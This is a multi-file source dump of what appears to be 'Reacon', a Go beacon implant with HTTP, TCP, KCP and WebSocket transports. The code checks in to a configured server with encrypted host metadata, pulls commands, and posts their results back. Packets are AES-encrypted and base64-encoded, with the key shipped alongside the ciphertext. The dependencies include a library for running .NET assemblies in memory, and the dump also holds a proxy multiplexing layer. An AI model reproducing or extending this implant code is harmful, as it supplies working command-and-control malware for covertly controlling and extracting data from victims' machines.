3 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
4 | github.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY=
5 | github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0=
6 | github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
7 | github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
8 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
9 | github.com/shirou/gopsutil v3.21.11+incompatible h1:+1+c1VGhc88SSonWP6foOcLhvnKlUeu/erjjvaPEYiI=
10 | github.com/shirou/gopsutil v3.21.11+incompatible/go.mod h1:5b4v6he4MtMOwMlS0TUMTu2PcXUg8+E1lC7eC3UO/RA=
11 | github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg=
12 | github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=
13 | github.com/tklauser/go-sysconf v0.3.14 h1:g5vzr9iPFFz24v2KZXs/pvpvh8/V9Fw6vQK5ZZb78yU=
14 | github.com/tklauser/go-sysconf v0.3.14/go.mod h1:1ym4lWMLUOhuBOPGtRcJm7tEGX4SCYNEEEtghGG/8uY=
15 | github.com/tklauser/numcpus v0.8.0 h1:Mx4Wwe/FjZLeQsK/6kt2EOepwwSl7SmJrK5bV/dXYgY=
16 | github.com/tklauser/numcpus v0.8.0/go.mod h1:ZJZlAY+dmR4eut8epnzf0u/VwodKmryxR8txiloSqBE=
17 | github.com/yusufpapurcu/wmi v1.2.4 h1:zFUKzehAFReQwLys1b/iSMl+JQGSCSjtVqQn9bBrPo0=
18 | github.com/yusufpapurcu/wmi v1.2.4/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0=
19 | golang.org/x/crypto v0.32.0 h1:euUpcYgM8WcP71gNpTqQCn6rC2t6ULUPiOzfWaXVVfc=
20 | golang.org/x/crypto v0.32.0/go.mod h1:ZnnJkOaASj8g0AjIduWNlq2NRxL0PlBrbKVyZ6V/Ugc=
21 | golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
22 | golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
23 | golang.org/x/sys v0.29.0 h1:TPYlXGxvx1MGTn2GiZDhnjPA9wZzZeGKHHmKhHYvgaU=
24 | golang.org/x/sys v0.29.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
25 | golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
26 | golang.org/x/text v0.21.0 h1:zyQAAkrwaneQ066sspRyJaG9VNi/YJ1NfzcGB3hZ/qo=
27 | golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ=
28 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
29 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
30 |
--------------------------------------------------------------------------------
/Reacon_http/pkg/communication/communication.go:
--------------------------------------------------------------------------------
1 | package communication
2 |
3 | import (
4 | "Reacon/pkg/config"
5 | "Reacon/pkg/encrypt"
6 | "Reacon/pkg/utils"
7 | "bytes"
8 | "encoding/binary"
9 | "fmt"
10 | "sync"
11 | "time"
12 | )
13 |
14 | var (
15 | encryptedMetaInfo []byte
16 | )
17 |
18 | func FirstBlood() error {
19 | var err error
20 | encryptedMetaInfo, err = utils.EncryptedMetaInfo()
21 | if err != nil {
22 | return err
23 | }
24 | encryptedMetaInfo, err = encrypt.EncodeBase64(encryptedMetaInfo)
25 | if err != nil {
26 | return err
27 | }
28 | for {
29 | _, err := HttpGet(config.GetUrl, encryptedMetaInfo)
30 | if err == nil {
31 | //fmt.Println("firstblood: " + string(data))
32 | break
33 | } else {
34 | fmt.Println("firstblood error: " + err.Error())
35 | }
36 | time.Sleep(500 * time.Millisecond)
37 | }
38 | time.Sleep(3000 * time.Millisecond)
39 | return err
40 | }
41 |
42 | func PullCommand() ([]byte, error) {
43 | data, err := HttpGet(config.GetUrl, encryptedMetaInfo)
44 | if err != nil {
45 | return nil, err
46 | }
47 | return data, err
48 | }
49 | func ErrorProcess(err error) {
50 | errMsgBytes := []byte(err.Error())
51 | result := errMsgBytes
52 | fmt.Println(err)
53 | criticalSection(31, result)
54 | }
55 |
56 | func DataProcess(callbackType int, b []byte) {
57 | result := b
58 | var err error
59 | if callbackType == 0 {
60 | result, err = utils.CodepageToUTF8(b)
61 | if err != nil {
62 | ErrorProcess(err)
63 | }
64 | }
65 | _, err = criticalSection(callbackType, result)
66 | if err != nil {
67 | ErrorProcess(err)
68 | }
69 | }
70 |
71 | var mutex sync.Mutex
72 |
73 | func criticalSection(callbackType int, b []byte) ([]byte, error) {
74 | mutex.Lock()
75 | finalPaket := MakePacket(callbackType, b)
76 | result, err := PushResult(finalPaket)
77 | mutex.Unlock()
78 | return result, err
79 | }
80 |
81 | // replyType(4) | result 并加密
82 | func MakePacket(replyType int, b []byte) []byte {
83 | buf := new(bytes.Buffer)
84 |
85 | replyTypeBytes := make([]byte, 4)
86 | binary.BigEndian.PutUint32(replyTypeBytes, uint32(replyType))
87 | buf.Write(replyTypeBytes)
88 |
89 | buf.Write(b)
90 |
91 | encrypted, err := encrypt.Encrypt(buf.Bytes())
92 | if err != nil {
93 | return nil
94 | }
95 |
96 | buf.Reset()
97 |
98 | buf.Write(encrypted)
99 |
100 | return buf.Bytes()
101 |
102 | }
103 | func PushResult(b []byte) ([]byte, error) {
104 | url := config.PostUrl
105 | data, err := HttpPost(url, b, encryptedMetaInfo)
106 | //fmt.Println("pushresult success")
107 | if err != nil {
108 | return nil, err
109 | }
110 | return data, err
111 | }
112 |
--------------------------------------------------------------------------------
/Reacon_http/go.sum:
--------------------------------------------------------------------------------
1 | github.com/Ne0nd0g/go-clr v1.0.3 h1:xt92wwuqY23ZSC7RuHD3mKu3K22Bk5NNbxI803vojK4=
2 | github.com/Ne0nd0g/go-clr v1.0.3/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I=
3 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
4 | github.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY=
5 | github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0=
6 | github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
7 | github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
8 | github.com/imroc/req v0.3.2 h1:M/JkeU6RPmX+WYvT2vaaOL0K+q8ufL5LxwvJc4xeB4o=
9 | github.com/imroc/req v0.3.2/go.mod h1:F+NZ+2EFSo6EFXdeIbpfE9hcC233id70kf0byW97Caw=
10 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
11 | github.com/shirou/gopsutil v3.21.11+incompatible h1:+1+c1VGhc88SSonWP6foOcLhvnKlUeu/erjjvaPEYiI=
12 | github.com/shirou/gopsutil v3.21.11+incompatible/go.mod h1:5b4v6he4MtMOwMlS0TUMTu2PcXUg8+E1lC7eC3UO/RA=
13 | github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg=
14 | github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=
15 | github.com/tklauser/go-sysconf v0.3.14 h1:g5vzr9iPFFz24v2KZXs/pvpvh8/V9Fw6vQK5ZZb78yU=
16 | github.com/tklauser/go-sysconf v0.3.14/go.mod h1:1ym4lWMLUOhuBOPGtRcJm7tEGX4SCYNEEEtghGG/8uY=
17 | github.com/tklauser/numcpus v0.8.0 h1:Mx4Wwe/FjZLeQsK/6kt2EOepwwSl7SmJrK5bV/dXYgY=
18 | github.com/tklauser/numcpus v0.8.0/go.mod h1:ZJZlAY+dmR4eut8epnzf0u/VwodKmryxR8txiloSqBE=
19 | github.com/yusufpapurcu/wmi v1.2.4 h1:zFUKzehAFReQwLys1b/iSMl+JQGSCSjtVqQn9bBrPo0=
20 | github.com/yusufpapurcu/wmi v1.2.4/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0=
21 | golang.org/x/crypto v0.21.0 h1:X31++rzVUdKhX5sWmSOFZxx8UW/ldWx55cbf08iNAMA=
22 | golang.org/x/crypto v0.21.0/go.mod h1:0BP7YvVV9gBbVKyeTG0Gyn+gZm94bibOW5BjDEYAOMs=
23 | golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
24 | golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
25 | golang.org/x/sys v0.27.0 h1:wBqf8DvsY9Y/2P8gAfPDEYNuS30J4lPHJxXSb/nJZ+s=
26 | golang.org/x/sys v0.27.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
27 | golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
28 | golang.org/x/text v0.20.0 h1:gK/Kv2otX8gz+wn7Rmb3vT96ZwuoxnQlY+HlJVj7Qug=
29 | golang.org/x/text v0.20.0/go.mod h1:D4IsuqiFMhST5bX19pQ9ikHC2GsaKyk/oF+pn3ducp4=
30 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
31 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
32 |
--------------------------------------------------------------------------------
/Reacon_http/pkg/encrypt/encrypt.go:
--------------------------------------------------------------------------------
1 | package encrypt
2 |
3 | import (
4 | "crypto/aes"
5 | "crypto/cipher"
6 | "crypto/rand"
7 | "encoding/base64"
8 | "encoding/hex"
9 | "fmt"
10 | "io"
11 | r "math/rand"
12 | "time"
13 | )
14 |
15 | // 密钥生成
16 | func generateKey() []byte {
17 | key := make([]byte, 32) // 256 bits key
18 | if _, err := rand.Read(key); err != nil {
19 | panic(err)
20 | }
21 | return key
22 | }
23 |
24 | // 加密函数
25 | func encryptAES(data []byte, key []byte) ([]byte, error) {
26 | block, err := aes.NewCipher(key)
27 | if err != nil {
28 | return nil, err
29 | }
30 |
31 | ciphertext := make([]byte, aes.BlockSize+len(data))
32 | iv := ciphertext[:aes.BlockSize]
33 |
34 | if _, err := io.ReadFull(rand.Reader, iv); err != nil {
35 | return nil, err
36 | }
37 |
38 | stream := cipher.NewCFBEncrypter(block, iv)
39 | stream.XORKeyStream(ciphertext[aes.BlockSize:], data)
40 |
41 | return ciphertext, nil
42 | }
43 |
44 | // 解密函数
45 | func decryptAES(ciphertext []byte, key []byte) ([]byte, error) {
46 | block, err := aes.NewCipher(key)
47 | if err != nil {
48 | return nil, err
49 | }
50 |
51 | if len(ciphertext) < aes.BlockSize {
52 | return nil, fmt.Errorf("ciphertext is too short")
53 | }
54 |
55 | iv := ciphertext[:aes.BlockSize]
56 | ciphertext = ciphertext[aes.BlockSize:]
57 |
58 | stream := cipher.NewCFBDecrypter(block, iv)
59 | stream.XORKeyStream(ciphertext, ciphertext)
60 |
61 | return ciphertext, nil
62 | }
63 |
64 | func Encrypt(data []byte) ([]byte, error) {
65 | key := generateKey()
66 | encryptedData, _ := encryptAES([]byte(hex.EncodeToString(data)), key)
67 | // key与加密结果放到一起
68 | keyAndData := append(key, encryptedData...)
69 | return keyAndData, nil
70 | }
71 | func RandomInt(min, max int) int {
72 | r.Seed(time.Now().UnixNano())
73 | return min + r.Intn(max-min)
74 | }
75 |
76 | func Decrypt(data []byte) ([]byte, error) {
77 | if len(data) < 32 {
78 | return nil, fmt.Errorf("data is too short")
79 | }
80 | key := data[:32]
81 | encryptedData := data[32:]
82 | decryptedData, _ := decryptAES(encryptedData, key)
83 | plainData, _ := hex.DecodeString(string(decryptedData))
84 | return plainData, nil
85 | }
86 |
87 | // EncodeBase64 将 []byte 编码为 Base64 并返回 []byte
88 | func EncodeBase64(data []byte) ([]byte, error) {
89 | encodedString := base64.StdEncoding.EncodeToString(data)
90 | return []byte(encodedString), nil
91 | }
92 |
93 | // DecodeBase64 将 Base64 编码的 []byte 解码回原始的 []byte
94 | func DecodeBase64(encodedData []byte) ([]byte, error) {
95 | decodedData, err := base64.StdEncoding.DecodeString(string(encodedData))
96 | if err != nil {
97 | return nil, err
98 | }
99 | return decodedData, nil
100 | }
101 |
--------------------------------------------------------------------------------
/Reacon_kcp/pkg/encrypt/encrypt.go:
--------------------------------------------------------------------------------
1 | package encrypt
2 |
3 | import (
4 | "crypto/aes"
5 | "crypto/cipher"
6 | "crypto/rand"
7 | "encoding/base64"
8 | "encoding/hex"
9 | "fmt"
10 | "io"
11 | r "math/rand"
12 | "time"
13 | )
14 |
15 | // 密钥生成
16 | func generateKey() []byte {
17 | key := make([]byte, 32) // 256 bits key
18 | if _, err := rand.Read(key); err != nil {
19 | panic(err)
20 | }
21 | return key
22 | }
23 |
24 | // 加密函数
25 | func encryptAES(data []byte, key []byte) ([]byte, error) {
26 | block, err := aes.NewCipher(key)
27 | if err != nil {
28 | return nil, err
29 | }
30 |
31 | ciphertext := make([]byte, aes.BlockSize+len(data))
32 | iv := ciphertext[:aes.BlockSize]
33 |
34 | if _, err := io.ReadFull(rand.Reader, iv); err != nil {
35 | return nil, err
36 | }
37 |
38 | stream := cipher.NewCFBEncrypter(block, iv)
39 | stream.XORKeyStream(ciphertext[aes.BlockSize:], data)
40 |
41 | return ciphertext, nil
42 | }
43 |
44 | // 解密函数
45 | func decryptAES(ciphertext []byte, key []byte) ([]byte, error) {
46 | block, err := aes.NewCipher(key)
47 | if err != nil {
48 | return nil, err
49 | }
50 |
51 | if len(ciphertext) < aes.BlockSize {
52 | return nil, fmt.Errorf("ciphertext is too short")
53 | }
54 |
55 | iv := ciphertext[:aes.BlockSize]
56 | ciphertext = ciphertext[aes.BlockSize:]
57 |
58 | stream := cipher.NewCFBDecrypter(block, iv)
59 | stream.XORKeyStream(ciphertext, ciphertext)
60 |
61 | return ciphertext, nil
62 | }
63 |
64 | func Encrypt(data []byte) ([]byte, error) {
65 | key := generateKey()
66 | encryptedData, _ := encryptAES([]byte(hex.EncodeToString(data)), key)
67 | // key与加密结果放到一起
68 | keyAndData := append(key, encryptedData...)
69 | return keyAndData, nil
70 | }
71 | func RandomInt(min, max int) int {
72 | r.Seed(time.Now().UnixNano())
73 | return min + r.Intn(max-min)
74 | }
75 |
76 | func Decrypt(data []byte) ([]byte, error) {
77 | if len(data) < 32 {
78 | return nil, fmt.Errorf("data is too short")
79 | }
80 | key := data[:32]
81 | encryptedData := data[32:]
82 | decryptedData, _ := decryptAES(encryptedData, key)
83 | plainData, _ := hex.DecodeString(string(decryptedData))
84 | return plainData, nil
85 | }
86 |
87 | // EncodeBase64 将 []byte 编码为 Base64 并返回 []byte
88 | func EncodeBase64(data []byte) ([]byte, error) {
89 | encodedString := base64.StdEncoding.EncodeToString(data)
90 | return []byte(encodedString), nil
91 | }
92 |
93 | // DecodeBase64 将 Base64 编码的 []byte 解码回原始的 []byte
94 | func DecodeBase64(encodedData []byte) ([]byte, error) {
95 | decodedData, err := base64.StdEncoding.DecodeString(string(encodedData))
96 | if err != nil {
97 | return nil, err
98 | }
99 | return decodedData, nil
100 | }
101 |
--------------------------------------------------------------------------------
/Reacon_tcp/pkg/encrypt/encrypt.go:
--------------------------------------------------------------------------------
1 | package encrypt
2 |
3 | import (
4 | "crypto/aes"
5 | "crypto/cipher"
6 | "crypto/rand"
7 | "encoding/base64"
8 | "encoding/hex"
9 | "fmt"
10 | "io"
11 | r "math/rand"
12 | "time"
13 | )
14 |
15 | // 密钥生成
16 | func generateKey() []byte {
17 | key := make([]byte, 32) // 256 bits key
18 | if _, err := rand.Read(key); err != nil {
19 | panic(err)
20 | }
21 | return key
22 | }
23 |
24 | // 加密函数
25 | func encryptAES(data []byte, key []byte) ([]byte, error) {
26 | block, err := aes.NewCipher(key)
27 | if err != nil {
28 | return nil, err
29 | }
30 |
31 | ciphertext := make([]byte, aes.BlockSize+len(data))
32 | iv := ciphertext[:aes.BlockSize]
33 |
34 | if _, err := io.ReadFull(rand.Reader, iv); err != nil {
35 | return nil, err
36 | }
37 |
38 | stream := cipher.NewCFBEncrypter(block, iv)
39 | stream.XORKeyStream(ciphertext[aes.BlockSize:], data)
40 |
41 | return ciphertext, nil
42 | }
43 |
44 | // 解密函数
45 | func decryptAES(ciphertext []byte, key []byte) ([]byte, error) {
46 | block, err := aes.NewCipher(key)
47 | if err != nil {
48 | return nil, err
49 | }
50 |
51 | if len(ciphertext) < aes.BlockSize {
52 | return nil, fmt.Errorf("ciphertext is too short")
53 | }
54 |
55 | iv := ciphertext[:aes.BlockSize]
56 | ciphertext = ciphertext[aes.BlockSize:]
57 |
58 | stream := cipher.NewCFBDecrypter(block, iv)
59 | stream.XORKeyStream(ciphertext, ciphertext)
60 |
61 | return ciphertext, nil
62 | }
63 |
64 | func Encrypt(data []byte) ([]byte, error) {
65 | key := generateKey()
66 | encryptedData, _ := encryptAES([]byte(hex.EncodeToString(data)), key)
67 | // key与加密结果放到一起
68 | keyAndData := append(key, encryptedData...)
69 | return keyAndData, nil
70 | }
71 | func RandomInt(min, max int) int {
72 | r.Seed(time.Now().UnixNano())
73 | return min + r.Intn(max-min)
74 | }
75 |
76 | func Decrypt(data []byte) ([]byte, error) {
77 | if len(data) < 32 {
78 | return nil, fmt.Errorf("data is too short")
79 | }
80 | key := data[:32]
81 | encryptedData := data[32:]
82 | decryptedData, _ := decryptAES(encryptedData, key)
83 | plainData, _ := hex.DecodeString(string(decryptedData))
84 | return plainData, nil
85 | }
86 |
87 | // EncodeBase64 将 []byte 编码为 Base64 并返回 []byte
88 | func EncodeBase64(data []byte) ([]byte, error) {
89 | encodedString := base64.StdEncoding.EncodeToString(data)
90 | return []byte(encodedString), nil
91 | }
92 |
93 | // DecodeBase64 将 Base64 编码的 []byte 解码回原始的 []byte
94 | func DecodeBase64(encodedData []byte) ([]byte, error) {
95 | decodedData, err := base64.StdEncoding.DecodeString(string(encodedData))
96 | if err != nil {
97 | return nil, err
98 | }
99 | return decodedData, nil
100 | }
101 |
--------------------------------------------------------------------------------
/Reacon_websocket/pkg/encrypt/encrypt.go:
--------------------------------------------------------------------------------
1 | package encrypt
2 |
3 | import (
4 | "crypto/aes"
5 | "crypto/cipher"
6 | "crypto/rand"
7 | "encoding/base64"
8 | "encoding/hex"
9 | "fmt"
10 | "io"
11 | r "math/rand"
12 | "time"
13 | )
14 |
15 | // 密钥生成
16 | func generateKey() []byte {
17 | key := make([]byte, 32) // 256 bits key
18 | if _, err := rand.Read(key); err != nil {
19 | panic(err)
20 | }
21 | return key
22 | }
23 |
24 | // 加密函数
25 | func encryptAES(data []byte, key []byte) ([]byte, error) {
26 | block, err := aes.NewCipher(key)
27 | if err != nil {
28 | return nil, err
29 | }
30 |
31 | ciphertext := make([]byte, aes.BlockSize+len(data))
32 | iv := ciphertext[:aes.BlockSize]
33 |
34 | if _, err := io.ReadFull(rand.Reader, iv); err != nil {
35 | return nil, err
36 | }
37 |
38 | stream := cipher.NewCFBEncrypter(block, iv)
39 | stream.XORKeyStream(ciphertext[aes.BlockSize:], data)
40 |
41 | return ciphertext, nil
42 | }
43 |
44 | // 解密函数
45 | func decryptAES(ciphertext []byte, key []byte) ([]byte, error) {
46 | block, err := aes.NewCipher(key)
47 | if err != nil {
48 | return nil, err
49 | }
50 |
51 | if len(ciphertext) < aes.BlockSize {
52 | return nil, fmt.Errorf("ciphertext is too short")
53 | }
54 |
55 | iv := ciphertext[:aes.BlockSize]
56 | ciphertext = ciphertext[aes.BlockSize:]
57 |
58 | stream := cipher.NewCFBDecrypter(block, iv)
59 | stream.XORKeyStream(ciphertext, ciphertext)
60 |
61 | return ciphertext, nil
62 | }
63 |
64 | func Encrypt(data []byte) ([]byte, error) {
65 | key := generateKey()
66 | encryptedData, _ := encryptAES([]byte(hex.EncodeToString(data)), key)
67 | // key与加密结果放到一起
68 | keyAndData := append(key, encryptedData...)
69 | return keyAndData, nil
70 | }
71 | func RandomInt(min, max int) int {
72 | r.Seed(time.Now().UnixNano())
73 | return min + r.Intn(max-min)
74 | }
75 |
76 | func Decrypt(data []byte) ([]byte, error) {
77 | if len(data) < 32 {
78 | return nil, fmt.Errorf("data is too short")
79 | }
80 | key := data[:32]
81 | encryptedData := data[32:]
82 | decryptedData, _ := decryptAES(encryptedData, key)
83 | plainData, _ := hex.DecodeString(string(decryptedData))
84 | return plainData, nil
85 | }
86 |
87 | // EncodeBase64 将 []byte 编码为 Base64 并返回 []byte
88 | func EncodeBase64(data []byte) ([]byte, error) {
89 | encodedString := base64.StdEncoding.EncodeToString(data)
90 | return []byte(encodedString), nil
91 | }
92 |
93 | // DecodeBase64 将 Base64 编码的 []byte 解码回原始的 []byte
94 | func DecodeBase64(encodedData []byte) ([]byte, error) {
95 | decodedData, err := base64.StdEncoding.DecodeString(string(encodedData))
96 | if err != nil {
97 | return nil, err
98 | }
99 | return decodedData, nil
100 | }
101 |
--------------------------------------------------------------------------------
/Reacon_tcp/pkg/communication/communication.go:
--------------------------------------------------------------------------------
1 | package communication
2 |
3 | import (
4 | "Reacon/pkg/encrypt"
5 | "Reacon/pkg/utils"
6 | "bytes"
7 | "encoding/binary"
8 | "fmt"
9 | "net"
10 | "sync"
11 | )
12 |
13 | func ErrorProcess(err error) {
14 | errMsgBytes := []byte(err.Error())
15 | result := errMsgBytes
16 | fmt.Println(err)
17 | criticalSection(31, result)
18 | }
19 |
20 | func DataProcess(callbackType int, b []byte) {
21 | result := b
22 | var err error
23 | if callbackType == 0 {
24 | result, err = utils.CodepageToUTF8(b)
25 | if err != nil {
26 | ErrorProcess(err)
27 | }
28 | }
29 | criticalSection(callbackType, result)
30 | }
31 |
32 | var mutex sync.Mutex
33 |
34 | func criticalSection(callbackType int, b []byte) {
35 | mutex.Lock()
36 |
37 | finalPaket := MakePacket(callbackType, b)
38 | finalPaket, _ = encrypt.Encrypt(finalPaket)
39 | finalPaket, _ = encrypt.EncodeBase64(finalPaket)
40 |
41 | MetaLen := len(utils.MetaInfo)
42 | MetaLenBytes := utils.WriteInt(MetaLen)
43 |
44 | msg := utils.BytesCombine(MetaLenBytes, utils.MetaInfo, finalPaket)
45 |
46 | normalDataInt := 2
47 | normalDataBytes := utils.WriteInt(normalDataInt)
48 | msgToSend := utils.BytesCombine(normalDataBytes, msg)
49 |
50 | Send(msgToSend, utils.TCPClient)
51 | mutex.Unlock()
52 | }
53 | func Send(msg []byte, conn net.Conn) {
54 | defer func() {
55 | if err := recover(); err != nil {
56 | //log.Println("Send error:", err)
57 | }
58 | }()
59 |
60 | if conn == nil {
61 | //log.Println("Connection not established")
62 | return
63 | }
64 |
65 | bufferSize := len(msg)
66 | bufferSizeBytes := utils.WriteInt(bufferSize)
67 |
68 | msgToSend := utils.BytesCombine(bufferSizeBytes, msg)
69 |
70 | const chunkSize = 50 * 1024 // 50 KB
71 | var chunk []byte
72 |
73 | for bytesSent := 0; bytesSent < len(msgToSend); {
74 | if len(msgToSend)-bytesSent > chunkSize {
75 | chunk = msgToSend[bytesSent : bytesSent+chunkSize]
76 | } else {
77 | chunk = msgToSend[bytesSent:]
78 | }
79 |
80 | _, err := conn.Write(chunk)
81 | if err != nil {
82 | //log.Println("Failed to send data:", err)
83 | return
84 | }
85 |
86 | bytesSent += len(chunk)
87 | }
88 |
89 | }
90 |
91 | // replyType(4) | result 并加密
92 | func MakePacket(replyType int, b []byte) []byte {
93 | buf := new(bytes.Buffer)
94 |
95 | replyTypeBytes := make([]byte, 4)
96 | binary.BigEndian.PutUint32(replyTypeBytes, uint32(replyType))
97 | buf.Write(replyTypeBytes)
98 |
99 | buf.Write(b)
100 |
101 | encrypted, err := encrypt.Encrypt(buf.Bytes())
102 | if err != nil {
103 | return nil
104 | }
105 |
106 | buf.Reset()
107 |
108 | buf.Write(encrypted)
109 |
110 | return buf.Bytes()
111 |
112 | }
113 |
--------------------------------------------------------------------------------
/Reacon_kcp/pkg/communication/communication.go:
--------------------------------------------------------------------------------
1 | package communication
2 |
3 | import (
4 | "Reacon/pkg/encrypt"
5 | "Reacon/pkg/utils"
6 | "bytes"
7 | "encoding/binary"
8 | "fmt"
9 | "github.com/xtaci/kcp-go/v5"
10 | "sync"
11 | )
12 |
13 | func ErrorProcess(err error) {
14 | errMsgBytes := []byte(err.Error())
15 | result := errMsgBytes
16 | fmt.Println(err)
17 | criticalSection(31, result)
18 | }
19 |
20 | func DataProcess(callbackType int, b []byte) {
21 | result := b
22 | var err error
23 | if callbackType == 0 {
24 | result, err = utils.CodepageToUTF8(b)
25 | if err != nil {
26 | ErrorProcess(err)
27 | }
28 | }
29 | criticalSection(callbackType, result)
30 | }
31 |
32 | var mutex sync.Mutex
33 |
34 | func criticalSection(callbackType int, b []byte) {
35 | mutex.Lock()
36 |
37 | finalPaket := MakePacket(callbackType, b)
38 | finalPaket, _ = encrypt.Encrypt(finalPaket)
39 | finalPaket, _ = encrypt.EncodeBase64(finalPaket)
40 |
41 | MetaLen := len(utils.MetaInfo)
42 | MetaLenBytes := utils.WriteInt(MetaLen)
43 |
44 | msg := utils.BytesCombine(MetaLenBytes, utils.MetaInfo, finalPaket)
45 |
46 | normalDataInt := 2
47 | normalDataBytes := utils.WriteInt(normalDataInt)
48 | msgToSend := utils.BytesCombine(normalDataBytes, msg)
49 |
50 | Send(msgToSend, utils.KCPClient)
51 | mutex.Unlock()
52 | }
53 | func Send(msg []byte, conn *kcp.UDPSession) {
54 | defer func() {
55 | if err := recover(); err != nil {
56 | //log.Println("Send error:", err)
57 | }
58 | }()
59 |
60 | if conn == nil {
61 | //log.Println("Connection not established")
62 | return
63 | }
64 |
65 | bufferSize := len(msg)
66 | bufferSizeBytes := utils.WriteInt(bufferSize)
67 |
68 | msgToSend := utils.BytesCombine(bufferSizeBytes, msg)
69 |
70 | const chunkSize = 50 * 1024 // 50 KB
71 | var chunk []byte
72 |
73 | for bytesSent := 0; bytesSent < len(msgToSend); {
74 | if len(msgToSend)-bytesSent > chunkSize {
75 | chunk = msgToSend[bytesSent : bytesSent+chunkSize]
76 | } else {
77 | chunk = msgToSend[bytesSent:]
78 | }
79 |
80 | _, err := conn.Write(chunk)
81 | if err != nil {
82 | //log.Println("Failed to send data:", err)
83 | return
84 | }
85 |
86 | bytesSent += len(chunk)
87 | }
88 |
89 | }
90 |
91 | // replyType(4) | result 并加密
92 | func MakePacket(replyType int, b []byte) []byte {
93 | buf := new(bytes.Buffer)
94 |
95 | replyTypeBytes := make([]byte, 4)
96 | binary.BigEndian.PutUint32(replyTypeBytes, uint32(replyType))
97 | buf.Write(replyTypeBytes)
98 |
99 | buf.Write(b)
100 |
101 | encrypted, err := encrypt.Encrypt(buf.Bytes())
102 | if err != nil {
103 | return nil
104 | }
105 |
106 | buf.Reset()
107 |
108 | buf.Write(encrypted)
109 |
110 | return buf.Bytes()
111 |
112 | }
113 |
--------------------------------------------------------------------------------
/Reacon_http/pkg/services/proxy/mux/frame.go:
--------------------------------------------------------------------------------
1 | package mux
2 |
3 | import (
4 | "crypto/cipher"
5 | "crypto/rand"
6 | "encoding/binary"
7 | "fmt"
8 | "io"
9 | "math"
10 |
11 | "golang.org/x/crypto/chacha20poly1305"
12 | )
13 |
14 | type frameHeader struct {
15 | id uint32
16 | length uint16
17 | flags uint16
18 | nonce [chacha20poly1305.NonceSizeX]byte
19 | }
20 |
21 | const (
22 | frameHeaderSize = 4 + 2 + 2 + chacha20poly1305.NonceSizeX // must be exact frameHeader struct size
23 | maxPayloadSize = math.MaxUint16
24 | )
25 |
26 | const (
27 | flagData = iota + 1 // data frame
28 | flagKeepalive // empty frame to keep connection open
29 | flagOpenStream // first frame in stream
30 | flagCloseStream // stream is being closed gracefully
31 | flagCloseMux // mux is being closed gracefully
32 | )
33 |
34 | func encodeFrameHeader(buf []byte, h frameHeader) {
35 | binary.LittleEndian.PutUint32(buf[0:], h.id)
36 | binary.LittleEndian.PutUint16(buf[4:], h.length)
